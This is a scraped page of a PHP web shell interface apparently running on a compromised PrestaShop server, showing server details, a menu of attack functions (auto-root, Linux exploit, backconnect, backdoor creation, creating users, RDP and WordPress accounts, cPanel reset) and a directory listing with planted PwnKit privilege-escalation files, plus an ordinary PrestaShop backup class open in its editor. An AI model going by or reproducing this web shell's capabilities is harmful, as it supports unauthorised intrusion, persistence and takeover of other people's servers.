Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.23.85.47
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
checkout
[ DIR ]
drwxr-xr-x
container
[ DIR ]
drwxr-xr-x
controller
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
exception
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
helper
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
log
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
order
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
proxy
[ DIR ]
drwxr-xr-x
range
[ DIR ]
drwxr-xr-x
shop
[ DIR ]
drwxr-xr-x
stock
[ DIR ]
drwxr-xr-x
tax
[ DIR ]
drwxr-xr-x
tree
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
.htaccess
170
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Access.php
13.25
KB
-rw-r--r--
Address.php
21.03
KB
-rw-r--r--
AddressChecksumCore.php
1.81
KB
-rw-r--r--
AddressFormat.php
24.54
KB
-rw-r--r--
Alias.php
4.99
KB
-rw-r--r--
Attachment.php
11.27
KB
-rw-r--r--
AttributeGroup.php
13.17
KB
-rw-r--r--
CMS.php
11.45
KB
-rw-r--r--
CMSCategory.php
23.56
KB
-rw-r--r--
CMSRole.php
1.78
KB
-rw-r--r--
CSV.php
3.04
KB
-rw-r--r--
Carrier.php
63.97
KB
-rw-r--r--
Cart.php
211.83
KB
-rw-r--r--
CartRule.php
89.84
KB
-rw-r--r--
Category.php
87
KB
-rw-r--r--
Chart.php
4.08
KB
-rw-r--r--
ChecksumInterface.php
1.22
KB
-rw-r--r--
Combination.php
17.59
KB
-rw-r--r--
Configuration.php
26.5
KB
-rw-r--r--
ConfigurationKPI.php
8.91
KB
-rw-r--r--
ConfigurationTest.php
12.02
KB
-rw-r--r--
Connection.php
10.02
KB
-rw-r--r--
ConnectionsSource.php
4.81
KB
-rw-r--r--
Contact.php
3.83
KB
-rw-r--r--
Context.php
17.94
KB
-rw-r--r--
Cookie.php
17.39
KB
-rw-r--r--
Country.php
16.33
KB
-rw-r--r--
Currency.php
36.3
KB
-rw-r--r--
Curve.php
2.92
KB
-rw-r--r--
Customer.php
52.22
KB
-rw-r--r--
CustomerAddress.php
1.26
KB
-rw-r--r--
CustomerMessage.php
5.75
KB
-rw-r--r--
CustomerSession.php
2.65
KB
-rw-r--r--
CustomerThread.php
9.62
KB
-rw-r--r--
Customization.php
13.43
KB
-rw-r--r--
CustomizationField.php
2.85
KB
-rw-r--r--
DateRange.php
2.47
KB
-rw-r--r--
Delivery.php
3.24
KB
-rw-r--r--
Dispatcher.php
46.94
KB
-rw-r--r--
Employee.php
23.5
KB
-rw-r--r--
EmployeeSession.php
2.65
KB
-rw-r--r--
Feature.php
11.38
KB
-rw-r--r--
FeatureFlag.php
3.15
KB
-rw-r--r--
FeatureValue.php
8.06
KB
-rw-r--r--
FileUploader.php
3.73
KB
-rw-r--r--
Gender.php
2.81
KB
-rw-r--r--
Group.php
14.96
KB
-rw-r--r--
GroupReduction.php
8.81
KB
-rw-r--r--
Guest.php
8.31
KB
-rw-r--r--
Hook.php
46.57
KB
-rw-r--r--
Image.php
31.24
KB
-rw-r--r--
ImageManager.php
31.79
KB
-rw-r--r--
ImageType.php
6.99
KB
-rw-r--r--
Language.php
62.06
KB
-rw-r--r--
Link.php
61.05
KB
-rw-r--r--
LocalizationPack.php
23.05
KB
-rw-r--r--
Mail.php
33.49
KB
-rw-r--r--
Manufacturer.php
21.2
KB
-rw-r--r--
ManufacturerAddress.php
1.28
KB
-rw-r--r--
Media.php
31.43
KB
-rw-r--r--
Message.php
6.47
KB
-rw-r--r--
Meta.php
18.21
KB
-rw-r--r--
Notification.php
8.27
KB
-rw-r--r--
ObjectModel.php
81.56
KB
-rw-r--r--
Pack.php
24.63
KB
-rw-r--r--
Page.php
4.49
KB
-rw-r--r--
PaymentFree.php
1.33
KB
-rw-r--r--
PaymentModule.php
59.49
KB
-rw-r--r--
PhpEncryption.php
3.21
KB
-rw-r--r--
PhpEncryptionEngine.php
3.86
KB
-rw-r--r--
PrestaShopAutoload.php
9.57
KB
-rw-r--r--
PrestaShopBackup.php
11.91
KB
-rw-r--r--
PrestaShopCollection.php
21.28
KB
-rw-r--r--
PrestaShopLogger.php
8.3
KB
-rw-r--r--
Product.php
309.01
KB
-rw-r--r--
ProductAssembler.php
6.73
KB
-rw-r--r--
ProductAttribute.php
13.48
KB
-rw-r--r--
ProductDownload.php
10.05
KB
-rw-r--r--
ProductPresenterFactory.php
3.89
KB
-rw-r--r--
ProductSale.php
12.7
KB
-rw-r--r--
ProductSupplier.php
8.34
KB
-rw-r--r--
Profile.php
8.32
KB
-rw-r--r--
QqUploadedFileForm.php
5.19
KB
-rw-r--r--
QqUploadedFileXhr.php
5.69
KB
-rw-r--r--
QuickAccess.php
6.25
KB
-rw-r--r--
RequestSql.php
20.93
KB
-rw-r--r--
Risk.php
2.36
KB
-rw-r--r--
Search.php
51.86
KB
-rw-r--r--
SearchEngine.php
2.81
KB
-rw-r--r--
SpecificPrice.php
32.43
KB
-rw-r--r--
SpecificPriceRule.php
14.04
KB
-rw-r--r--
State.php
7.77
KB
-rw-r--r--
Store.php
6.24
KB
-rw-r--r--
Supplier.php
17.89
KB
-rw-r--r--
SupplierAddress.php
1.27
KB
-rw-r--r--
Tab.php
21.7
KB
-rw-r--r--
Tag.php
13.24
KB
-rw-r--r--
Tools.php
136.37
KB
-rw-r--r--
Translate.php
11.78
KB
-rw-r--r--
TranslatedConfiguration.php
4.68
KB
-rw-r--r--
Upgrader.php
11.58
KB
-rw-r--r--
Uploader.php
10.84
KB
-rw-r--r--
Validate.php
38.87
KB
-rw-r--r--
ValidateConstraintTranslator.p...
2.55
KB
-rw-r--r--
WarehouseAddress.php
1.27
KB
-rw-r--r--
Zone.php
3.42
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PrestaShopBackup.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class PrestaShopBackupCore. */ class PrestaShopBackupCore { /** @var string Object id */ public $id; /** @var string Last error messages */ public $error; /** @var string default backup directory. */ public static $backupDir = '/backups/'; /** @var string custom backup directory. */ public $customBackupDir = null; /** @var bool|string */ public $psBackupAll = true; /** @var bool|string */ public $psBackupDropTable = true; /** * Creates a new backup object. * * @param string $filename Filename of the backup file */ public function __construct($filename = null) { if ($filename) { $this->id = $this->getRealBackupPath($filename); } $psBackupAll = Configuration::get('PS_BACKUP_ALL'); $psBackupDropTable = Configuration::get('PS_BACKUP_DROP_TABLE'); $this->psBackupAll = $psBackupAll !== false ? $psBackupAll : true; $this->psBackupDropTable = $psBackupDropTable !== false ? $psBackupDropTable : true; } /** * you can set a different path with that function. * * @TODO include the prefix name * * @param string $dir * * @return bool */ public function setCustomBackupPath($dir) { $customDir = DIRECTORY_SEPARATOR . trim($dir, '/') . DIRECTORY_SEPARATOR; if (is_dir(_PS_ADMIN_DIR_ . $customDir)) { $this->customBackupDir = $customDir; return true; } return false; } /** * get the path to use for backup (customBackupDir if specified, or default). * * @param string $filename filename to use * * @return string full path */ public function getRealBackupPath($filename = null) { $backupDir = PrestaShopBackup::getBackupPath($filename); if (!empty($this->customBackupDir)) { $backupDir = str_replace( _PS_ADMIN_DIR_ . self::$backupDir, _PS_ADMIN_DIR_ . $this->customBackupDir, $backupDir ); if (strrpos($backupDir, DIRECTORY_SEPARATOR)) { $backupDir .= DIRECTORY_SEPARATOR; } } return $backupDir; } /** * Get the full path of the backup file. * * @param string $filename prefix of the backup file (datetime will be the second part) * * @return string The full path of the backup file, or false if the backup file does not exists */ public static function getBackupPath($filename = '') { $backupdir = realpath(_PS_ADMIN_DIR_ . self::$backupDir); if ($backupdir === false) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('"Backup" directory does not exist.', [], 'Admin.Advparameters.Notification'))); } // Check the realpath so we can validate the backup file is under the backup directory if (!empty($filename)) { $backupfile = realpath($backupdir . DIRECTORY_SEPARATOR . $filename); } else { $backupfile = $backupdir . DIRECTORY_SEPARATOR; } if ($backupfile === false || strncmp($backupdir, $backupfile, strlen($backupdir)) != 0) { die(Tools::displayError('Invalid backup file.')); } return $backupfile; } /** * Check if a backup file exist. * * @param string $filename prefix of the backup file (datetime will be the second part) * * @return bool true if backup file exist */ public static function backupExist($filename) { $backupdir = realpath(_PS_ADMIN_DIR_ . self::$backupDir); if ($backupdir === false) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('"Backup" directory does not exist.', [], 'Admin.Advparameters.Notification'))); } return @filemtime($backupdir . DIRECTORY_SEPARATOR . $filename); } /** * Get the URL used to retrieve this backup file. * * @return string The url used to request the backup file * * @deprecated As the call has been duplicated in the new Controller. Get the URL from the router instead. */ public function getBackupURL() { // Additionnal parameters (action, filename, ajax) are kept for backward compatibility, in case we disable the new controller return Context::getContext()->link->getAdminLink( 'AdminBackup', true, [ 'route' => 'admin_backup_download', 'downloadFileName' => basename($this->id), ], [ 'action' => 'backupContent', 'ajax' => 1, 'filename' => basename($this->id), ] ); } /** * Delete the current backup file. * * @return bool Deletion result, true on success */ public function delete() { if (!$this->id || !unlink($this->id)) { $this->error = Context::getContext()->getTranslator()->trans('Error deleting', [], 'Admin.Advparameters.Notification') . ' ' . ($this->id ? '"' . $this->id . '"' : Context::getContext()->getTranslator()->trans('Invalid ID', [], 'Admin.Advparameters.Notification')); return false; } return true; } /** * Deletes a range of backup files. * * @return bool True on success */ public function deleteSelection($list) { foreach ($list as $file) { $backup = new PrestaShopBackup($file); if (!$backup->delete()) { $this->error = $backup->error; return false; } } return true; } /** * Creates a new backup file. * * @return bool true on successful backup */ public function add() { if (!$this->psBackupAll) { $ignoreInsertTable = [_DB_PREFIX_ . 'connections', _DB_PREFIX_ . 'connections_page', _DB_PREFIX_ . 'connections_source', _DB_PREFIX_ . 'guest', _DB_PREFIX_ . 'statssearch', ]; } else { $ignoreInsertTable = []; } // Generate some random number, to make it extra hard to guess backup file names $rand = dechex(mt_rand(0, min(0xFFFFFFFF, mt_getrandmax()))); $date = time(); $backupfile = $this->getRealBackupPath() . $date . '-' . $rand . '.sql'; // Figure out what compression is available and open the file if (function_exists('bzopen')) { $backupfile .= '.bz2'; $fp = @bzopen($backupfile, 'w'); } elseif (function_exists('gzopen')) { $backupfile .= '.gz'; $fp = @gzopen($backupfile, 'w'); } else { $fp = @fopen($backupfile, 'wb'); } if ($fp === false) { echo Context::getContext()->getTranslator()->trans('Unable to create backup file', [], 'Admin.Advparameters.Notification') . ' "' . addslashes($backupfile) . '"'; return false; } $this->id = realpath($backupfile); fwrite($fp, '/* Backup for ' . Tools::getHttpHost(false, false) . __PS_BASE_URI__ . "\n * at " . date('Y-m-d H:i:s', $date) . "\n */\n"); fwrite($fp, "\n" . 'SET NAMES \'utf8mb4\';'); fwrite($fp, "\n" . 'SET FOREIGN_KEY_CHECKS = 0;'); fwrite($fp, "\n" . 'SET SESSION sql_mode = \'\';' . "\n\n"); // Find all tables $tables = Db::getInstance()->executeS('SHOW TABLES'); $found = 0; foreach ($tables as $table) { $table = current($table); // Skip tables which do not start with _DB_PREFIX_ if (strlen($table) < strlen(_DB_PREFIX_) || strncmp($table, _DB_PREFIX_, strlen(_DB_PREFIX_)) != 0) { continue; } // Export the table schema $schema = Db::getInstance()->executeS('SHOW CREATE TABLE `' . $table . '`'); if (count($schema) != 1 || !isset($schema[0]['Table']) || !isset($schema[0]['Create Table'])) { fclose($fp); $this->delete(); echo Context::getContext()->getTranslator()->trans('An error occurred while backing up. Unable to obtain the schema of %s', [$table], 'Admin.Advparameters.Notification'); return false; } fwrite($fp, '/* Scheme for table ' . $schema[0]['Table'] . " */\n"); if ($this->psBackupDropTable) { fwrite($fp, 'DROP TABLE IF EXISTS `' . $schema[0]['Table'] . '`;' . "\n"); } fwrite($fp, $schema[0]['Create Table'] . ";\n\n"); if (!in_array($schema[0]['Table'], $ignoreInsertTable)) { $data = Db::getInstance()->query('SELECT * FROM `' . $schema[0]['Table'] . '`'); $sizeof = Db::getInstance()->numRows(); $lines = explode("\n", $schema[0]['Create Table']); if ($data && $sizeof > 0) { // Export the table data fwrite($fp, 'INSERT INTO `' . $schema[0]['Table'] . "` VALUES\n"); $i = 1; while ($row = Db::getInstance()->nextRow($data)) { $s = '('; foreach ($row as $field => $value) { $tmp = "'" . pSQL($value, true) . "',"; if ($tmp != "'',") { $s .= $tmp; } else { foreach ($lines as $line) { if (strpos($line, '`' . $field . '`') !== false) { if (preg_match('/(.*NOT NULL.*)/Ui', $line)) { $s .= "'',"; } else { $s .= 'NULL,'; } break; } } } } $s = rtrim($s, ','); if ($i % 200 == 0 && $i < $sizeof) { $s .= ");\nINSERT INTO `" . $schema[0]['Table'] . "` VALUES\n"; } elseif ($i < $sizeof) { $s .= "),\n"; } else { $s .= ");\n"; } fwrite($fp, $s); ++$i; } } } ++$found; } fclose($fp); if ($found == 0) { $this->delete(); echo Context::getContext()->getTranslator()->trans('No valid tables were found to backup.', [], 'Admin.Advparameters.Notification'); return false; } return true; } }
Close